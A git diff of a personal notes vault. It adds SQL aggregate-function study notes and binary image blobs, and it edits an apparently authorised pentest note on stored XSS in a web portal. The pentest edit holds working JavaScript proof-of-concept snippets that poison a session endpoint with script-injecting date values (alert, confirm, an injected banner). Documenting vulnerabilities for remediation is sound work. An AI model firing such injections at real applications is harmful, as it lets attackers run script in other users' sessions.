zJf>eorC+<2h)q3(f72*anT*TJQ?Qu1Ac%KSWKtzoNc{VX}iVFmQ(bRW%i zb_G|jcHmPQ1FIPH_p2h9@u9a|vUubZI$OI@%A|X(byN^qTbJir7EwiTg3Va|$sw$4M_wf-jwKO8|s_ zy6x$GoRD2Fs&u*lK4G%_PI)u+N+_9p&Y~ zPEn*6KBue&V*PFfKZ9MYzgeeN97u4>CD1Ff5`~6mK?|&SAjaa7YgMTS^>McUKGki~ z&f7K_Q<1)jBhhbS&Dad7HsnNk3s9&`CZ@A_w*okUfXOEYhUjet45f&JBP3IpmDITG zu$_5294&Y#UcfJ`S*aS4rcBPIVar1P0r+3@-~9azE}EZU`-L&Y_{ulF!O6~x@s3C( z`rL@lro5ts>sL^0>C8!H;$KCbXt_OKjuF&Y3{n)Bk$i{qIwLb3sveR(?cua*s-qpv zM}NCSyiQQBfiHwt*BM3nwKVILGlamh*@Yt6obw)4umJ%^KaSWq+uDcdaX;O0_JDx_ z_;jhQM}zn#!G;$`xtDpbIHJZ>=^%~##}-w^s+Bx>uhxfQZdD0XJem?wX1e^uQVQ8- z1V<=PIzc*>&OEoT(lD`#Y=nF*nk0jhF|~*UGh`VU{j0>lFh*);d~!}S!>3qPkhBd^ z3xm47(4Fpg<7shVJaTxG77@gVCoa{H^n!{;q4(WDzY)EDT&NoR7mD6CLM zUMs?50p+PH3=5};RYT0S>wkTgWOymSIo@}jDj3hwNbcQ}GGpVgoc8*Mkn^o}c_-Jm zO4wz(0HB>j?j~)y{zp6c$QK8P7AJ9tsgN~pQ%khiKLId&xGMDlDY+#3dO{>z`;!s> z*ayxWP^jxxmi_EzO6!-Ff&@TO)yYtad-`o#D{7B)xHupRGTxEFm>@Gs32H6}q~IVd zkA~+l1QKonV3y=RLf2$V-r2EHQL|I0$q--&*Aly~@C1&fsC@bEi%o1rWzrv(|WFse#jUVM&VN``hyN*b@9xy5UVEO@(Cv>n6nbqjn1 zHPcUfv_OpbB2BbwwKz0JI>tX;5YAV)DF66u!ZCetKPlxZbTgGWd!1ZhrFsiIbex2U8dWKDo6o1N`( z^(`q*h+!v-a+O%SH~{42aX(^LOHZT2Q}rN|=!C^L4J${cYOznKcTm8i1vTOl`srlp zC8q63DH5P?DZI5Xf3nEu)$EWv5mf;r|J|c~+`gB2(5RnRW_Q-*!1y^O>C^eFVxTaod@Za5X_hGf7~6@I+@`md*0+=b6uxlt0HFhLSxRLl=Fbq+dm^K|l4x%SUdDlSKI5M224J z=4ySM1>Ns0c2n+Jx-mN)J`TPBc3t^y^8vw2qUWQeO4yqa2n36j4hVh*{%{3%4-!Cz XcU&7RvsInI-#}CqH5Dr4%mV)(BY$-) literal 0 HcmV?d00001 diff --git a/Career/Database - SQL/SQL Joins.md b/Career/Database - SQL/SQL Joins.md index 8d471b3..9ae6b80 100755 --- a/Career/Database - SQL/SQL Joins.md +++ b/Career/Database - SQL/SQL Joins.md @@ -16,3 +16,5 @@ Here are the different types of JOINs in SQL: - LEFT (OUTER) JOIN: Returns all rows from the left table, and only the matched rows from the right table - RIGHT (OUTER) JOIN: Returns all rows from the right table, and only the matched rows from the left table - FULL (OUTER) JOIN: Returns all rows when there is a match in either the left or right table + +![[Pasted image 20260603221345.png]] \ No newline at end of file diff --git a/Career/Database - SQL/Using Joins, Constraints, Normalization, and Subqueries.md b/Career/Database - SQL/Using Joins, Constraints, Normalization, and Subqueries.md new file mode 100755 index 0000000..e926ce4 --- /dev/null +++ b/Career/Database - SQL/Using Joins, Constraints, Normalization, and Subqueries.md @@ -0,0 +1,269 @@ +--- +note type: + - sql + - database + - theory +date: 2026-06-03 +done: +link: https://app.pluralsight.com/ilx/video-courses/sql-joins-constraints-normalization-subqueries/course-overview +--- +# Common Aggregate Functions + +|title|cost|duration| +|---|---|---| +|Gone with the wind|390000|220| +|Frankenstein|3000000|50| +|Creature from the black lagoon|500000|79| +|NULL|100|10| + +## 1. COUNT() + +## Count all rows + +`SELECT COUNT(*) FROM Movies;` + +**Output:** + +``` +4 +``` + +- Counts all rows, including rows where columns are `NULL`. + +### Count non-NULL values in a column + +`SELECT COUNT(title) FROM Movies;` + + **Output:** + +``` +3 +``` + +- `NULL` title is **not counted**. + +## 2. MIN() + +`SELECT MIN(cost) FROM Movies;` + +**Output:** + +``` +100 +``` + +- Returns the smallest value in the column. + +## 3. MAX() + +`SELECT MAX(cost) FROM Movies;` + +**Output:** + +``` +3000000 +``` + +- Returns the largest value. + +## 4. SUM() + +`SELECT SUM(cost) FROM Movies;` + +**Output:** + +``` +3890100 +``` + +Calculation: + +``` +390000 + 3000000 + 500000 + 100 = 3890100 +``` + +- Adds all values in the column. +- Ignores `NULL` values (none in `cost` here). + +## 5. AVG() + +`SELECT AVG(cost) FROM Movies;` + +**Output:** + +``` +972525 +``` + +Calculation: + +``` +3890100 / 4 = 972525 +``` + +- Computes the average of all values. + +--- + +## Using Multiple Aggregates + +``` +SELECT + +    COUNT(*) AS total_movies, + +    MIN(cost) AS cheapest, + +    MAX(cost) AS most_expensive, + +    SUM(cost) AS total_cost, + +    AVG(cost) AS average_cost + +FROM Movies; +``` + +**Output:** + +``` +total_movies | cheapest | most_expensive | total_cost | average_cost +4 | 100 | 3000000 | 3890100 | 972525 +``` + +# Filtering Aggregates + +| title | cost | duration | genre | +| ------------------------------ | ------- | -------- | ------ | +| Gone with the wind | 390000 | 220 | Drama | +| Frankenstein | 3000000 | 50 | Horror | +| Creature from the black lagoon | 500000 | 79 | Horror | +| Casablanca | 1000000 | 102 | Drama | +| Toy Story | 2000000 | 81 | Family | +| NULL | 100 | 10 | Horror | + +## GROUP BY + +`GROUP BY` groups rows so aggregates are calculated per group rather than across the whole table. + +``` +SELECT genre, SUM(cost) AS total_cost +FROM Movies +GROUP BY genre; +``` + +Output: + +``` +genre | total_cost +Drama | 1390000 +Horror | 3500100 +Family | 2000000 +``` + + +``` +SELECT genre, AVG(duration) AS avg_duration +FROM Movies +GROUP BY genre; +``` + +Output: + +``` +genre | avg_duration +Drama | 161 +Horror | 46.33 +Family | 81 +``` + +--- + +## WHERE (filtering rows before aggregation) + +`WHERE` filters rows **before** grouping and aggregation. + +``` +SELECT genre, COUNT(*) AS num_movies +FROM Movies +WHERE duration > 60 +GROUP BY genre; +``` + +Output: + +``` +genre | num_movies +Drama | 2 +Horror | 1 +Family | 1 +``` + +Explanation: + +- The row with duration = 10 is excluded before grouping. + +## HAVING (filtering groups after aggregation) + +`HAVING` filters results **after aggregation**. + +``` +SELECT genre, SUM(cost) AS total_cost +FROM Movies +GROUP BY genre +HAVING SUM(cost) >= 2000000; +``` + +Output: + +``` +genre | total_cost +Horror | 3500100 +Family | 2000000 -- note: included only if >= was used +``` + +If strictly `> 2000000`, only: + +``` +Horror | 3500100 +``` + + +``` +SELECT genre, COUNT(*) AS num_movies +FROM Movies +GROUP BY genre +HAVING COUNT(*) > 2; +``` + +Output: + +``` +genre | num_movies +Horror | 3 +``` + +## Combined Example + +``` +SELECT genre, AVG(cost) AS avg_cost +FROM Movies +WHERE duration > 60 +GROUP BY genre +HAVING AVG(cost) > 1000000; +``` + +Steps: + +1. WHERE filters rows (duration > 60) +2. GROUP BY groups remaining data +3. HAVING filters grouped results + +Output: + +``` +genre | avg_cost +Family | 2000000 +``` + + + diff --git a/Career/CI-CD Example (site visits).md b/Career/Devops/CI-CD Example (site visits).md similarity index 100% rename from Career/CI-CD Example (site visits).md rename to Career/Devops/CI-CD Example (site visits).md diff --git a/Career/CI-CD Summary.md b/Career/Devops/CI-CD Summary.md similarity index 100% rename from Career/CI-CD Summary.md rename to Career/Devops/CI-CD Summary.md diff --git a/Career/Microlise/Session Stored XSS PENTEST.md b/Career/Microlise/Session Stored XSS PENTEST.md index b69bff6..33d1870 100755 --- a/Career/Microlise/Session Stored XSS PENTEST.md +++ b/Career/Microlise/Session Stored XSS PENTEST.md @@ -428,10 +428,73 @@ Master procedure: **Replicating the vulnerability** section above. | Should it still be fixed? | **Yes**, as hygiene | | Priority vs SQLi / IDOR? | **Much lower** (informational) | -## Next step +## Code snippets -1. **Reproduce** on cert/UAT (`replicate-vuln` todo). -2. **Implement** fixes in `D:\_dev\WebPortal` (`remediate-encode`, `remediate-validate`). -3. **Replay** steps and fill comparison matrix (`remediate-retest` todo). +### Reset: -Confirm execution when ready to change WebPortal code. +``` +fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', { +  method: 'POST', +  credentials: 'include', +  headers: { 'Content-Type': 'application/json; charset=utf-8' }, +  body: JSON.stringify({ +    searchID: '0.X', orderID: '0.X', +    date: '2026-05-27', time: '00:00', hours: 24, +    displayPriorityJourneys: false, quickSearch: '' +  }) +}).then(() => location.reload()); +``` + +### Alert + +``` +fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', { +  method: 'POST', +  credentials: 'include', +  headers: { 'Content-Type': 'application/json; charset=utf-8' }, +  body: JSON.stringify({ +    searchID: '0.X', +    orderID: '0.X', +    date: '"+alert(1)+"', +    time: '00:00', +    hours: 24, +    displayPriorityJourneys: false, +    quickSearch: '' +  }) +}).then(r => console.log(r.status, r.statusText)); +``` + +### Poison Session + +``` +function poisonSession(field, payload) { +  const body = { +    searchID: '0.X', +    orderID: '0.X', +    date: '2026-05-27', +    time: '00:00', +    hours: 24, +    displayPriorityJourneys: false, +    quickSearch: '' +  }; +  body[field] = payload; +  return fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', { +    method: 'POST', +    credentials: 'include', +    headers: { 'Content-Type': 'application/json; charset=utf-8' }, +    body: JSON.stringify(body) +  }).then(r => console.log(field, r.status, r.statusText)); +} +``` + +### Confirm / prompt (alternative dialog evidence) + +``` +poisonSession('date', '"+confirm("XSS: SEB session poisoned")+"'); +``` + +### Visible banner + +``` +poisonSession('date', '"+document.body.insertAdjacentHTML("afterbegin","
XSS PoC — arbitrary script executed in SEB context
")+"'); +``` \ No newline at end of file diff --git a/Career/Output Encoding.md b/Career/Output Encoding.md deleted file mode 100644 index 8b13789..0000000 --- a/Career/Output Encoding.md +++ /dev/null @@ -1 +0,0 @@ - diff --git a/Career/Regex.md b/Career/Regex.md new file mode 100755 index 0000000..488d8f2 --- /dev/null +++ b/Career/Regex.md @@ -0,0 +1,6 @@ +--- +note type: + - theory +date: 2026-06-04 +done: +--- diff --git a/Career/Security/Attachments/Pasted image 20260603202301.png b/Career/Security/Attachments/Pasted image 20260603202301.png new file mode 100755 index 0000000000000000000000000000000000000000..c570e8d11dbc1653ec4623e26a303a5e88e18441 GIT binary patch literal 45401 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 